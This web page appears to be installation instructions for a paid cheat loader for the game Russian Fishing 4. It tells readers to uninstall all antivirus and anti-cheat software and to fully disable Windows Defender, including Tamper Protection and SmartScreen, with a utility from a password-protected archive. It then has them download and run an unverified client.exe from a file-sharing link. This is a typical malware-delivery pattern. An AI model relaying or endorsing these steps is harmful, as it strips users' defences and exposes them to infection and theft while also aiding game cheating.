The loader comes as an archive and takes the key right inside. Before launching, remove third-party antiviruses and turn off Windows Defender.
Requirements
Tick what matches your PC:
- Windows 10 or 11 (x64)
- Russian Fishing 4 from Steam or the official launcher
- One key — one computer
System requirements
- Operating system Windows 10 or 11, x64
- Processor Intel or AMD
- Graphics card NVIDIA or AMD
- Game mode Any
- Launchers Steam or Official RF4 launcher
- Built-in spoofer No
Preparation
Remove third-party antivirus and anti-cheats Kaspersky, Avast, ESET and the like, plus FaceIT and Riot Vanguard, conflict with the loader. They must be uninstalled, not just paused.
- Open Settings → Apps → Installed apps (or Control Panel → Programs and Features).
- Uninstall any third-party antivirus (Kaspersky, Avast, AVG, ESET, 360, Malwarebytes, etc.). Pausing or disabling is not enough — the antivirus driver stays resident.
- Uninstall the FaceIT AC and Riot Vanguard anti-cheats if present — they block third-party software at the kernel level.
- FaceIT is the CS2 anti-cheat, Vanguard is the Valorant one. If you don't play those games, they are safe to remove.
Fully disable Windows Defender The #1 cause of “it won't launch”. Disable it for real: manually first, then remove it from startup, reboot, and finish it off with Defender Control.
- Step 1. Turn protection off by hand. Open Windows Security → Virus & threat protection → Manage settings and switch every toggle off:
- Real-time protection — Off.
- Cloud-delivered protection — Off.
- Automatic sample submission — Off.
- Tamper Protection — Off. Turn this one off first, otherwise the others switch themselves back on.
- Step 2. Disable reputation-based protection. In Windows Security → App & browser control → Reputation-based protection → Settings, turn everything off (SmartScreen, potentially-unwanted-app blocking).
- Step 3. Remove Defender from startup. Open Task Manager (Ctrl+Shift+Esc) → Startup apps tab, find Windows Security notification icon and click Disable.
- Step 4. Restart your computer. This is mandatory — some Defender services only unload after a reboot.
- Step 5. Finish with Defender Control. Download Defender Control (archive password: r1xon), run it as administrator and click Disable Windows Defender — the tile turns red.
- If your antivirus deletes the utility itself, protection is still active — go back to step 1. The file ships zipped on purpose so Defender can't wipe it before it's disabled.
- Download the loader archive from e.pcloud.link/publink/show?code=kZP6g77Z8vR7Jvl5nb70iwqt4mtKkVkaDd7X.
- Extract launcher2.rar — it contains client.exe.
Launch
- Start Russian Fishing 4.
- Run the client.exe loader and enter your key.
- Press Launch.
- Return to the game — the menu opens with
Insert.
Problems & fixes
3The archive will not extract
The loader disappeared after extraction or does not start
The key is not accepted
Advanced setup — only if it still won’t launch
Update Visual C++ and DirectX Up-to-date runtimes keep the loader and overlay from crashing at start.
- Install Visual C++ Redistributable x64 and restart the PC.
- Update DirectX if you haven't in a while.
FAQ
3Which key opens the menu?
Insert; you can reassign it in the Other tab.When does the term start?
What happens after a game update?
Still stuck?
Run R1XON Checker first — it pinpoints most launch problems in 30 seconds. If it still fails, attach the checker report to your support ticket and we’ll sort it out fast.